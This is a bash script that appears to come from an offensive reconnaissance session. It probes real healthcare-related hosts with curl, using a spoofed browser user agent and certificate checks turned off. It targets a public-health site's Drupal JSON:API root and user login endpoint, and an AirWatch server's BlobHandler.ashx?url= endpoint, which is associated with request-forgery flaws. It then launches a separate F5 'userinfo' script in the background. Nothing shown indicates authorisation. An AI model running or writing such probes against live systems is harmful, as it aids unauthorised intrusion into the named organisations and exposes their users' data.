#!/bin/bash
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
echo '== phm jsonapi root =='
curl -sk -m 10 -A "$UA" -o /tmp/j.txt -w '%{http_code}\n' https://publichealthmdc.com/jsonapi
head -c 150 /tmp/j.txt; echo
echo '== phm rest /user/login json =='
curl -sk -m 10 -A "$UA" -o /tmp/ul.txt -w '%{http_code}\n' 'https://publichealthmdc.com/user/login?_format=json'
head -c 150 /tmp/ul.txt; echo
echo '== airwatch 503 body =='
curl -sk -m 12 -A "$UA" 'https://airwatch.tenethealth.com/Catalog/BlobHandler.ashx?url=test' -o /tmp/w3.txt -w '%{http_code}\n'
grep -aoiE '<h2>[^<]*|<h1>[^<]*|exception|error[^"<]{0,60}' /tmp/w3.txt | head -4
echo '== f5userinfo launch =='
cd /root/recon
sed -i 's/\r$//' f5_userinfo.sh
setsid -f bash f5_userinfo.sh >> f5ui.log 2>&1 < /dev/null
echo launched
